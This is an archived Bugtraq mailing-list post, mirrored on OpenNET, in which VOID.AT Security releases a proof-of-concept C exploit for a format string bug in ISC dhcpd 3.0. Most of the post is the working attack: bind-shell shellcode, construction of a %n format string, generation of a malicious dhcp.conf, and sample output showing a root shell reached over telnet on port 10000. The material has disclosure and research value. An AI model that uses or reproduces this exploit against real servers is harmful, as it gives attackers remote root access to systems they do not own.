The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Руководство по установке Linux дистрибутива Дженту (Gentoo)
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

isc dhcpd 3.0 format string exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sat, 11 Jan 2003 01:37:07 +0100
From: "VOID.AT Security" <crew@void.at>
To: bugtraq@securityfocus.com
Subject: isc dhcpd 3.0 format string exploit

--eJnRUKwClWJh1Khz
Content-Type: multipart/mixed; boundary="opJtzjQTFsWo+cga"
Content-Disposition: inline


--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Proof of Concept

format string exploit for
isc dhcpd 3.0 dynamic dns update log function bug

--
VOID.AT Security

--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hoagie_dhcpd.c"
Content-Transfer-Encoding: quoted-printable

/***********************************************************
 * hoagie_dhcpd.c
 *
 * local and remote exploit for isc dhcpd 3.0 (perhaps others)
 *
 * hi 19c3 guys ;)
 *
 * gcc hoagie_dhcpd.c -o hoagie_dhcpd
 *
 * Author: Andi <andi@void.at>
 *
 * Greetz to Greuff, philipp and the other hoagie-fellas :-)
 *
 * For this exploit we use the very very useful dhcp client
 * option: hex-coloumn list as fqdn. For this trick we change
 * in common/tables.c the parsing option to "X".=20
 *
 * # ./hd=20
 * hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
 * using return address location: 0xbfffdd4c
 * return address: 0xbfffde38
 * dummy vprintf address: 0xbfffdd70
 * now run: dhclient -d -cf dhcp.conf eth0
 * # ./dhclient -d -cf dhcp.conf eth0
 * Internet Software Consortium DHCP Client V3.0
 * Copyright 1995-2001 Internet Software Consortium.
 * All rights reserved.
 * For info, please visit http://www.isc.org/products/DHCP
 *=20
 * Listening on LPF/eth0/00:02:3f:af:89:fb
 * Sending on   LPF/eth0/00:02:3f:af:89:fb
 * Sending on   Socket/fallback
 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
 * DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
 * ^C
 * # telnet dhcpserverip 10000
 * id;
 * uid=3D0(root) gid=3D0(root) groups=3D0(root)
 *
 * after I've written the return address location and used the
 * last %n parameter, vfprintf still pops values from the stack
 * so what happened: the dhcp server tries to write the written
 * bytes to something like 0x2578.... which is part of the format
 * string. so you have to add another dummy address pair where
 * vfprintf can write dummy bytes.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY=20
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =3D=20
   "\x31\xdb"			// xor	ebx, ebx
   "\xf7\xe3"			// mul	ebx
   "\xb0\x66"			// mov     al, 102
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\x4b"			// dec     ebx
   "\xcd\x80"			// int     80h
   "\x89\xc7"			// mov     edi, eax
   "\x52"			// push    edx
   "\x66\x68\x27\x10"		// push    word 4135
   "\x43"			// inc     ebx
   "\x66\x53"			// push    bx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x10"			// mov	al, 16
   "\x50"			// push	eax
   "\x51"			// push    ecx
   "\x57"			// push    edi
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x66"			// mov     al, 102
   "\xcd\x80"			// int     80h
   "\xb0\x66"			// mov     al, 102
   "\xb3\x04"			// mov     bl, 4
   "\xcd\x80"			// int     80h
   "\x50"			// push	eax
   "\x50"			// push	eax
   "\x57"			// push	edi
   "\x89\xe1"			// mov	ecx, esp
   "\x43"			// inc	ebx
   "\xb0\x66"			// mov	al, 102
   "\xcd\x80"			// int	80h
   "\x89\xd9"			// mov	ecx, ebx
   "\x89\xc3"			// mov     ebx, eax
   "\xb0\x3f"			// mov     al, 63
   "\x49"			// dec     ecx
   "\xcd\x80"			// int     80h
   "\x41"			// inc     ecx
   "\xe2\xf8"			// loop    lp
   "\x51"			// push    ecx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x51"			// push    ecx
   "\x53"			// push	ebx
   "\x89\xe1"			// mov	ecx, esp
   "\xb0\x0b"			// mov	al, 11
   "\xcd\x80";			// int     80h

char nop[] =3D "\x90\x90\x90\x90";

int retloc =3D 0xbfffdd4c;		/* use gdb to get it ;) */
int retaddr =3D 0xbfffde38;		/* hmm yes that sounds quite interesting */
int dummyaddr =3D 0xbfffdd70;		/* dummy stack pointer for vprintf */

void help() {
    printf("\t-l\t ... return address location\n");
    printf("\t-r\t ... return address\n");
    printf("\t-d\t ... dummy vfprintf address\n");
    exit(0);
}=20

int main(int argc, char **argv) {
    char buffer[4096], output[4096], tmp[6], pad[4][20];
    FILE *fp;
    unsigned char rl[4], ra[4], da[4];=20
    int i, opt;
    unsigned int start, diff, ret;
    extern char *optarg;

    printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit\n");
    if (argc > 1) {
       while ( (opt =3D getopt(argc, argv, "hl:r:d:")) !=3D EOF) {
          switch(opt) {
             case 'h': help(); break;
             case 'l': sscanf(optarg, "0x%x", &retloc); break;
             case 'r': sscanf(optarg, "0x%x", &retaddr); break;
             case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
          }
       }
    }
    printf("using return address location: 0x%x\n", retloc);
    printf("return address: 0x%x\n", retaddr);=20
    printf("dummy vprintf address: 0x%x\n", dummyaddr);

    /* convert return address location */
    rl[0] =3D (char) (retloc >> 24);
    rl[1] =3D (char) (retloc >> 16);
    rl[2] =3D (char) (retloc >> 8);
    rl[3] =3D (char) retloc;

    /* convert dummy address */
    da[0] =3D (char) (dummyaddr >> 24);
    da[1] =3D (char) (dummyaddr >> 16);
    da[2] =3D (char) (dummyaddr >> 8);
    da[3] =3D (char) dummyaddr;

    /* calculate paddings */
    ra[3] =3D (char) (retaddr >> 24);
    ra[2] =3D (char) (retaddr >> 16);
    ra[1] =3D (char) (retaddr >> 8);
    ra[0] =3D (char) retaddr;

    start =3D 0xd4;
    for (i =3D 0; i < 4; i++) {
       if (start =3D=3D ra[i]) {
          strcpy(pad[i], "");
       } else {
          if (start > ra[i]) {
             ret =3D ra[i];
             while (start > ret) ret +=3D 0x100;
             diff =3D ret - start;
          } else {
	     diff =3D ra[i] - start;
          }
          sprintf(pad[i], "%%%du", diff);=20
          start +=3D diff;
       }
    }

    /* build the special format string */
    sprintf(buffer,=20
            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
            "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"
            "%%08x%%08x%%08x%%08x%%08x%%08x%%08x%%08x"=20
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "\x90\x90\x90\x90%c%c%c%c"
            "%s%%n"=20
            "%s%%n"
            "%s%%n"=20
            "%s%%n"=20
	    "%s%s",=20
            rl[3], rl[2], rl[1], rl[0],=20
            rl[3] + 1, rl[2], rl[1], rl[0],=20
            rl[3] + 2, rl[2], rl[1], rl[0],
            rl[3] + 3, rl[2], rl[1], rl[0],=20
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            da[3], da[2], da[1], da[0],
            pad[0], pad[1], pad[2], pad[3], nop, shellcode);

    /* convert to dhcp.conf syntax
     * hex style input format rules -> change your dhclient source -> table=
s.c and change fqdn to type X
     * to add binary values=20
     */
    memset(output, 0, sizeof(output));
    for (i =3D 0; i < strlen(buffer) - 1; i++) {
        sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
        strcat(output, tmp);
    }
    sprintf(tmp, "%02x", (unsigned char)buffer[i]);
    strcat(output, tmp);

    /* create dhcp.conf and write options */
    fp =3D fopen("dhcp.conf", "w");
    fprintf(fp, "send fqdn.server-update on;\n");
    fprintf(fp, "send fqdn.fqdn %s;", output);
    fclose(fp);

    /* have fun */
    printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}

--opJtzjQTFsWo+cga--

--eJnRUKwClWJh1Khz
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj4fZzMACgkQ7/4hjx03q1f/aACfZsDSzmi/mbGHpyvGNUq8HCuo
YCwAnjMavIFsw6eJGjriMCYUHeulr8lU
=Jlvq
-----END PGP SIGNATURE-----

--eJnRUKwClWJh1Khz--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.